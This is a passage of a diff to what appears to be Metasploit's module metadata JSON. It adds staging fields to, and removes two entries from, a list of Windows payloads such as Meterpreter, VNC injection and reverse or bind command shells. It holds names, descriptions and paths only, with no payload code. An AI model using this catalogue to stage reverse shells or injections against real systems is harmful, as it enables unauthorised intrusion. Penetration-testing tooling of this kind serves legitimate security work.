"notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/vncinject", + "stager_refname": "windows/reverse_tcp" }, "payload_windows/vncinject/reverse_tcp_allports": { "name": "VNC Server (Reflective Injection), Reverse All-Port TCP Stager", @@ -207059,7 +228974,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/vncinject", + "stager_refname": "windows/reverse_tcp_allports" }, "payload_windows/vncinject/reverse_tcp_dns": { "name": "VNC Server (Reflective Injection), Reverse TCP Stager (DNS)", @@ -207097,7 +229016,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/vncinject", + "stager_refname": "windows/reverse_tcp_dns" }, "payload_windows/vncinject/reverse_tcp_rc4": { "name": "VNC Server (Reflective Injection), Reverse TCP Stager (RC4 Stage Encryption, Metasm)", @@ -207136,7 +229059,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/vncinject", + "stager_refname": "windows/reverse_tcp_rc4" }, "payload_windows/vncinject/reverse_tcp_rc4_dns": { "name": "VNC Server (Reflective Injection), Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)", @@ -207175,7 +229102,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/vncinject", + "stager_refname": "windows/reverse_tcp_rc4_dns" }, "payload_windows/vncinject/reverse_tcp_uuid": { "name": "VNC Server (Reflective Injection), Reverse TCP Stager with UUID Support", @@ -207212,7 +229143,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/vncinject", + "stager_refname": "windows/reverse_tcp_uuid" }, "payload_windows/vncinject/reverse_winhttp": { "name": "VNC Server (Reflective Injection), Windows Reverse HTTP Stager (winhttp)", @@ -207249,7 +229184,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/vncinject", + "stager_refname": "windows/reverse_winhttp" }, "payload_windows/x64/custom/bind_ipv6_tcp": { "name": "Windows shellcode stage, Windows x64 IPv6 Bind TCP Stager", @@ -207284,7 +229223,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/x64/custom", + "stager_refname": "windows/x64/bind_ipv6_tcp" }, "payload_windows/x64/custom/bind_ipv6_tcp_uuid": { "name": "Windows shellcode stage, Windows x64 IPv6 Bind TCP Stager with UUID Support", @@ -207320,7 +229263,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/x64/custom", + "stager_refname": "windows/x64/bind_ipv6_tcp_uuid" }, "payload_windows/x64/custom/bind_named_pipe": { "name": "Windows shellcode stage, Windows x64 Bind Named Pipe Stager", @@ -207355,7 +229302,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/x64/custom", + "stager_refname": "windows/x64/bind_named_pipe" }, "payload_windows/x64/custom/bind_tcp": { "name": "Windows shellcode stage, Windows x64 Bind TCP Stager", @@ -207390,7 +229341,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/x64/custom", + "stager_refname": "windows/x64/bind_tcp" }, "payload_windows/x64/custom/bind_tcp_rc4": { "name": "Windows shellcode stage, Bind TCP Stager (RC4 Stage Encryption, Metasm)", @@ -207430,7 +229385,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/x64/custom", + "stager_refname": "windows/x64/bind_tcp_rc4" }, "payload_windows/x64/custom/bind_tcp_uuid": { "name": "Windows shellcode stage, Bind TCP Stager with UUID Support (Windows x64)", @@ -207466,7 +229425,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/x64/custom", + "stager_refname": "windows/x64/bind_tcp_uuid" }, "payload_windows/x64/custom/reverse_http": { "name": "Windows shellcode stage, Windows x64 Reverse HTTP Stager (wininet)", @@ -207501,7 +229464,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/x64/custom", + "stager_refname": "windows/x64/reverse_http" }, "payload_windows/x64/custom/reverse_https": { "name": "Windows shellcode stage, Windows x64 Reverse HTTP Stager (wininet)", @@ -207538,7 +229505,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/x64/custom", + "stager_refname": "windows/x64/reverse_https" }, "payload_windows/x64/custom/reverse_named_pipe": { "name": "Windows shellcode stage, Windows x64 Reverse Named Pipe (SMB) Stager", @@ -207573,7 +229544,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/x64/custom", + "stager_refname": "windows/x64/reverse_named_pipe" }, "payload_windows/x64/custom/reverse_tcp": { "name": "Windows shellcode stage, Windows x64 Reverse TCP Stager", @@ -207608,7 +229583,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/x64/custom", + "stager_refname": "windows/x64/reverse_tcp" }, "payload_windows/x64/custom/reverse_tcp_rc4": { "name": "Windows shellcode stage, Reverse TCP Stager (RC4 Stage Encryption, Metasm)", @@ -207648,7 +229627,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/x64/custom", + "stager_refname": "windows/x64/reverse_tcp_rc4" }, "payload_windows/x64/custom/reverse_tcp_uuid": { "name": "Windows shellcode stage, Reverse TCP Stager with UUID Support (Windows x64)", @@ -207684,7 +229667,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/x64/custom", + "stager_refname": "windows/x64/reverse_tcp_uuid" }, "payload_windows/x64/custom/reverse_winhttp": { "name": "Windows shellcode stage, Windows x64 Reverse HTTP Stager (winhttp)", @@ -207719,7 +229706,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/x64/custom", + "stager_refname": "windows/x64/reverse_winhttp" }, "payload_windows/x64/custom/reverse_winhttps": { "name": "Windows shellcode stage, Windows x64 Reverse HTTPS Stager (winhttp)", @@ -207754,77 +229745,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false - }, - "payload_windows/x64/encrypted_shell/reverse_tcp": { - "name": "Windows Command Shell, Encrypted Reverse TCP Stager", - "fullname": "payload/windows/x64/encrypted_shell/reverse_tcp", - "aliases": [ - - ], - "rank": 300, - "disclosure_date": null, - "type": "payload", - "author": [ - "Matt Graeber", - "Shelby Pace" - ], - "description": "Spawn a piped command shell (staged).\n\nConnect to MSF and read in stage", - "references": [ - - ], - "platform": "Windows", - "arch": "x64", - "rport": null, - "autofilter_ports": null, - "autofilter_services": null, - "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", - "path": "/modules/payloads/stagers/windows/x64/encrypted_reverse_tcp.rb", - "is_install_path": true, - "ref_name": "windows/x64/encrypted_shell/reverse_tcp", - "check": false, - "post_auth": false, - "default_credential": false, - "notes": { - }, - "session_types": false, - "needs_cleanup": false - }, - "payload_windows/x64/encrypted_shell_reverse_tcp": { - "name": "Windows Encrypted Reverse Shell", - "fullname": "payload/windows/x64/encrypted_shell_reverse_tcp", - "aliases": [ - - ], - "rank": 300, - "disclosure_date": null, - "type": "payload", - "author": [ - "Matt Graeber", - "Shelby Pace" - ], - "description": "Connect back to attacker and spawn an encrypted command shell", - "references": [ - - ], - "platform": "Windows", - "arch": "x64", - "rport": null, - "autofilter_ports": null, - "autofilter_services": null, - "targets": null, - "mod_time": "2021-01-05 14:59:46 +0000", - "path": "/modules/payloads/singles/windows/x64/encrypted_shell_reverse_tcp.rb", - "is_install_path": true, - "ref_name": "windows/x64/encrypted_shell_reverse_tcp", - "check": false, - "post_auth": false, - "default_credential": false, - "notes": { - }, - "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/x64/custom", + "stager_refname": "windows/x64/reverse_winhttps" }, "payload_windows/x64/exec": { "name": "Windows x64 Execute Command", @@ -207858,7 +229783,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_windows/x64/loadlibrary": { "name": "Windows x64 LoadLibrary Path", @@ -207893,7 +229820,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_windows/x64/messagebox": { "name": "Windows MessageBox x64", @@ -207927,7 +229856,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_windows/x64/meterpreter/bind_ipv6_tcp": { "name": "Windows Meterpreter (Reflective Injection x64), Windows x64 IPv6 Bind TCP Stager", @@ -207964,7 +229895,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/x64/meterpreter", + "stager_refname": "windows/x64/bind_ipv6_tcp" }, "payload_windows/x64/meterpreter/bind_ipv6_tcp_uuid": { "name": "Windows Meterpreter (Reflective Injection x64), Windows x64 IPv6 Bind TCP Stager with UUID Support", @@ -208001,7 +229936,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/x64/meterpreter", + "stager_refname": "windows/x64/bind_ipv6_tcp_uuid" }, "payload_windows/x64/meterpreter/bind_named_pipe": { "name": "Windows Meterpreter (Reflective Injection x64), Windows x64 Bind Named Pipe Stager", @@ -208039,7 +229978,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/x64/meterpreter", + "stager_refname": "windows/x64/bind_named_pipe" }, "payload_windows/x64/meterpreter/bind_tcp": { "name": "Windows Meterpreter (Reflective Injection x64), Windows x64 Bind TCP Stager", @@ -208076,7 +230019,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/x64/meterpreter", + "stager_refname": "windows/x64/bind_tcp" }, "payload_windows/x64/meterpreter/bind_tcp_rc4": { "name": "Windows Meterpreter (Reflective Injection x64), Bind TCP Stager (RC4 Stage Encryption, Metasm)", @@ -208117,7 +230064,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/x64/meterpreter", + "stager_refname": "windows/x64/bind_tcp_rc4" }, "payload_windows/x64/meterpreter/bind_tcp_uuid": { "name": "Windows Meterpreter (Reflective Injection x64), Bind TCP Stager with UUID Support (Windows x64)", @@ -208154,7 +230105,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/x64/meterpreter", + "stager_refname": "windows/x64/bind_tcp_uuid" }, "payload_windows/x64/meterpreter/reverse_http": { "name": "Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTP Stager (wininet)", @@ -208191,7 +230146,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/x64/meterpreter", + "stager_refname": "windows/x64/reverse_http" }, "payload_windows/x64/meterpreter/reverse_https": { "name": "Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTP Stager (wininet)", @@ -208231,7 +230190,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/x64/meterpreter", + "stager_refname": "windows/x64/reverse_https" }, "payload_windows/x64/meterpreter/reverse_named_pipe": { "name": "Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse Named Pipe (SMB) Stager", @@ -208268,7 +230231,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/x64/meterpreter", + "stager_refname": "windows/x64/reverse_named_pipe" }, "payload_windows/x64/meterpreter/reverse_tcp": { "name": "Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse TCP Stager", @@ -208305,7 +230272,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/x64/meterpreter", + "stager_refname": "windows/x64/reverse_tcp" }, "payload_windows/x64/meterpreter/reverse_tcp_rc4": { "name": "Windows Meterpreter (Reflective Injection x64), Reverse TCP Stager (RC4 Stage Encryption, Metasm)", @@ -208346,7 +230317,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/x64/meterpreter", + "stager_refname": "windows/x64/reverse_tcp_rc4" }, "payload_windows/x64/meterpreter/reverse_tcp_uuid": { "name": "Windows Meterpreter (Reflective Injection x64), Reverse TCP Stager with UUID Support (Windows x64)", @@ -208383,7 +230358,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/x64/meterpreter", + "stager_refname": "windows/x64/reverse_tcp_uuid" }, "payload_windows/x64/meterpreter/reverse_winhttp": { "name": "Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTP Stager (winhttp)", @@ -208420,7 +230399,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/x64/meterpreter", + "stager_refname": "windows/x64/reverse_winhttp" }, "payload_windows/x64/meterpreter/reverse_winhttps": { "name": "Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTPS Stager (winhttp)", @@ -208457,7 +230440,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/x64/meterpreter", + "stager_refname": "windows/x64/reverse_winhttps" }, "payload_windows/x64/meterpreter_bind_named_pipe": { "name": "Windows Meterpreter Shell, Bind Named Pipe Inline (x64)", @@ -208494,7 +230481,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_windows/x64/meterpreter_bind_tcp": { "name": "Windows Meterpreter Shell, Bind TCP Inline (x64)", @@ -208530,7 +230519,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_windows/x64/meterpreter_reverse_http": { "name": "Windows Meterpreter Shell, Reverse HTTP Inline (x64)", @@ -208566,7 +230557,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_windows/x64/meterpreter_reverse_https": { "name": "Windows Meterpreter Shell, Reverse HTTPS Inline (x64)", @@ -208602,7 +230595,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_windows/x64/meterpreter_reverse_ipv6_tcp": { "name": "Windows Meterpreter Shell, Reverse TCP Inline (IPv6) (x64)", @@ -208638,7 +230633,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_windows/x64/meterpreter_reverse_tcp": { "name": "Windows Meterpreter Shell, Reverse TCP Inline x64", @@ -208674,7 +230671,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_windows/x64/peinject/bind_ipv6_tcp": { "name": "Windows Inject Reflective PE Files, Windows x64 IPv6 Bind TCP Stager", @@ -208709,7 +230708,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/x64/peinject", + "stager_refname": "windows/x64/bind_ipv6_tcp" }, "payload_windows/x64/peinject/bind_ipv6_tcp_uuid": { "name": "Windows Inject Reflective PE Files, Windows x64 IPv6 Bind TCP Stager with UUID Support", @@ -208745,7 +230748,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/x64/peinject", + "stager_refname": "windows/x64/bind_ipv6_tcp_uuid" }, "payload_windows/x64/peinject/bind_named_pipe": { "name": "Windows Inject Reflective PE Files, Windows x64 Bind Named Pipe Stager", @@ -208780,7 +230787,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/x64/peinject", + "stager_refname": "windows/x64/bind_named_pipe" }, "payload_windows/x64/peinject/bind_tcp": { "name": "Windows Inject Reflective PE Files, Windows x64 Bind TCP Stager", @@ -208815,7 +230826,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/x64/peinject", + "stager_refname": "windows/x64/bind_tcp" }, "payload_windows/x64/peinject/bind_tcp_rc4": { "name": "Windows Inject Reflective PE Files, Bind TCP Stager (RC4 Stage Encryption, Metasm)", @@ -208855,7 +230870,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/x64/peinject", + "stager_refname": "windows/x64/bind_tcp_rc4" }, "payload_windows/x64/peinject/bind_tcp_uuid": { "name": "Windows Inject Reflective PE Files, Bind TCP Stager with UUID Support (Windows x64)", @@ -208891,7 +230910,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/x64/peinject", + "stager_refname": "windows/x64/bind_tcp_uuid" }, "payload_windows/x64/peinject/reverse_named_pipe": { "name": "Windows Inject Reflective PE Files, Windows x64 Reverse Named Pipe (SMB) Stager", @@ -208926,7 +230949,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/x64/peinject", + "stager_refname": "windows/x64/reverse_named_pipe" }, "payload_windows/x64/peinject/reverse_tcp": { "name": "Windows Inject Reflective PE Files, Windows x64 Reverse TCP Stager", @@ -208961,7 +230988,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/x64/peinject", + "stager_refname": "windows/x64/reverse_tcp" }, "payload_windows/x64/peinject/reverse_tcp_rc4": { "name": "Windows Inject Reflective PE Files, Reverse TCP Stager (RC4 Stage Encryption, Metasm)", @@ -209001,7 +231032,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/x64/peinject", + "stager_refname": "windows/x64/reverse_tcp_rc4" }, "payload_windows/x64/peinject/reverse_tcp_uuid": { "name": "Windows Inject Reflective PE Files, Reverse TCP Stager with UUID Support (Windows x64)", @@ -209037,7 +231072,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/x64/peinject", + "stager_refname": "windows/x64/reverse_tcp_uuid" }, "payload_windows/x64/pingback_reverse_tcp": { "name": "Windows x64 Pingback, Reverse TCP Inline", @@ -209071,7 +231110,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_windows/x64/powershell_bind_tcp": { "name": "Windows Interactive Powershell Session, Bind TCP", @@ -209107,7 +231148,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_windows/x64/powershell_reverse_tcp": { "name": "Windows Interactive Powershell Session, Reverse TCP", @@ -209143,7 +231186,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_windows/x64/powershell_reverse_tcp_ssl": { "name": "Windows Interactive Powershell Session, Reverse TCP SSL", @@ -209179,7 +231224,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_windows/x64/shell/bind_ipv6_tcp": { "name": "Windows x64 Command Shell, Windows x64 IPv6 Bind TCP Stager", @@ -209213,7 +231260,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/x64/shell", + "stager_refname": "windows/x64/bind_ipv6_tcp" }, "payload_windows/x64/shell/bind_ipv6_tcp_uuid": { "name": "Windows x64 Command Shell, Windows x64 IPv6 Bind TCP Stager with UUID Support", @@ -209248,7 +231299,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/x64/shell", + "stager_refname": "windows/x64/bind_ipv6_tcp_uuid" }, "payload_windows/x64/shell/bind_named_pipe": { "name": "Windows x64 Command Shell, Windows x64 Bind Named Pipe Stager", @@ -209283,7 +231338,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/x64/shell", + "stager_refname": "windows/x64/bind_named_pipe" }, "payload_windows/x64/shell/bind_tcp": { "name": "Windows x64 Command Shell, Windows x64 Bind TCP Stager", @@ -209317,7 +231376,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/x64/shell", + "stager_refname": "windows/x64/bind_tcp" }, "payload_windows/x64/shell/bind_tcp_rc4": { "name": "Windows x64 Command Shell, Bind TCP Stager (RC4 Stage Encryption, Metasm)", @@ -209356,7 +231419,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/x64/shell", + "stager_refname": "windows/x64/bind_tcp_rc4" }, "payload_windows/x64/shell/bind_tcp_uuid": { "name": "Windows x64 Command Shell, Bind TCP Stager with UUID Support (Windows x64)", @@ -209391,7 +231458,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/x64/shell", + "stager_refname": "windows/x64/bind_tcp_uuid" }, "payload_windows/x64/shell/reverse_tcp": { "name": "Windows x64 Command Shell, Windows x64 Reverse TCP Stager", @@ -209425,7 +231496,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/x64/shell", + "stager_refname": "windows/x64/reverse_tcp" }, "payload_windows/x64/shell/reverse_tcp_rc4": { "name": "Windows x64 Command Shell, Reverse TCP Stager (RC4 Stage Encryption, Metasm)", @@ -209464,7 +231539,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/x64/shell", + "stager_refname": "windows/x64/reverse_tcp_rc4" }, "payload_windows/x64/shell/reverse_tcp_uuid": { "name": "Windows x64 Command Shell, Reverse TCP Stager with UUID Support (Windows x64)", @@ -209499,7 +231578,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/x64/shell", + "stager_refname": "windows/x64/reverse_tcp_uuid" }, "payload_windows/x64/shell_bind_tcp": { "name": "Windows x64 Command Shell, Bind TCP Inline", @@ -209533,7 +231616,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_windows/x64/shell_reverse_tcp": { "name": "Windows x64 Command Shell, Reverse TCP Inline", @@ -209567,7 +231652,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_windows/x64/vncinject/bind_ipv6_tcp": { "name": "Windows x64 VNC Server (Reflective Injection), Windows x64 IPv6 Bind TCP Stager", @@ -209602,7 +231689,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/x64/vncinject", + "stager_refname": "windows/x64/bind_ipv6_tcp" }, "payload_windows/x64/vncinject/bind_ipv6_tcp_uuid": { "name": "Windows x64 VNC Server (Reflective Injection), Windows x64 IPv6 Bind TCP Stager with UUID Support", @@ -209638,7 +231729,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/x64/vncinject", + "stager_refname": "windows/x64/bind_ipv6_tcp_uuid" }, "payload_windows/x64/vncinject/bind_named_pipe": { "name": "Windows x64 VNC Server (Reflective Injection), Windows x64 Bind Named Pipe Stager", @@ -209674,7 +231769,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/x64/vncinject", + "stager_refname": "windows/x64/bind_named_pipe" }, "payload_windows/x64/vncinject/bind_tcp": { "name": "Windows x64 VNC Server (Reflective Injection), Windows x64 Bind TCP Stager", @@ -209709,7 +231808,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/x64/vncinject", + "stager_refname": "windows/x64/bind_tcp" }, "payload_windows/x64/vncinject/bind_tcp_rc4": { "name": "Windows x64 VNC Server (Reflective Injection), Bind TCP Stager (RC4 Stage Encryption, Metasm)", @@ -209749,7 +231852,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/x64/vncinject", + "stager_refname": "windows/x64/bind_tcp_rc4" }, "payload_windows/x64/vncinject/bind_tcp_uuid": { "name": "Windows x64 VNC Server (Reflective Injection), Bind TCP Stager with UUID Support (Windows x64)", @@ -209785,7 +231892,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/x64/vncinject", + "stager_refname": "windows/x64/bind_tcp_uuid" }, "payload_windows/x64/vncinject/reverse_http": { "name": "Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse HTTP Stager (wininet)", @@ -209821,7 +231932,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/x64/vncinject", + "stager_refname": "windows/x64/reverse_http" }, "payload_windows/x64/vncinject/reverse_https": { "name": "Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse HTTP Stager (wininet)", @@ -209859,7 +231974,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/x64/vncinject", + "stager_refname": "windows/x64/reverse_https" }, "payload_windows/x64/vncinject/reverse_tcp": { "name": "Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse TCP Stager", @@ -209894,7 +232013,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/x64/vncinject", + "stager_refname": "windows/x64/reverse_tcp" }, "payload_windows/x64/vncinject/reverse_tcp_rc4": { "name": "Windows x64 VNC Server (Reflective Injection), Reverse TCP Stager (RC4 Stage Encryption, Metasm)", @@ -209934,7 +232057,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/x64/vncinject", + "stager_refname": "windows/x64/reverse_tcp_rc4" }, "payload_windows/x64/vncinject/reverse_tcp_uuid": { "name": "Windows x64 VNC Server (Reflective Injection), Reverse TCP Stager with UUID Support (Windows x64)", @@ -209970,7 +232097,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/x64/vncinject", + "stager_refname": "windows/x64/reverse_tcp_uuid" }, "payload_windows/x64/vncinject/reverse_winhttp": { "name": "Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse HTTP Stager (winhttp)", @@ -210006,7 +232137,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/x64/vncinject", + "stager_refname": "windows/x64/reverse_winhttp" }, "payload_windows/x64/vncinject/reverse_winhttps": { "name": "Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse HTTPS Stager (winhttp)", @@ -210042,7 +232177,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/x64/vncinject", + 